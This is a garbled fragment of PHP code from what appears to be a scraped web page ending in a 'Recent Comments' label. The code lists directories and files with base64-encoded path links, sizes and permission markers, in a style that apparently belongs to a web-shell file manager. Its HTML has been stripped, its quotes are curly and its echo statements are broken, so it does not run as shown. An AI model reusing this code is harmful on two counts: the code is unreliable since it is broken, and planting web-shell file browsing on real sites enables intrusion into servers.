‘;
foreach($scandir as $dir){
if(!is_dir(“$path/$dir”) || $dir == ‘.’ || $dir == ‘..’) continue;
$dirlink = base64_encode(“$path/$dir”);
echo “
“;
}
echo ‘
‘;
foreach($scandir as $file){
if(!is_file(“$path/$file”)) continue;
$size = filesize(“$path/$file”)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).’ MB’;
}else{
$size = $size.’ KB’;
}
$filelink = base64_encode(“$path/$file”);
echo “
“;
}
echo ‘
Name | Size | Permissions | Options |
$dir | — | “; if(is_writable(“$path/$dir”)) echo ‘‘; elseif(!is_readable(“$path/$dir”)) echo ‘‘; echo perms(“$path/$dir”); if(is_writable(“$path/$dir”) || !is_readable(“$path/$dir”)) echo ‘‘; echo “ |
|
Recent Comments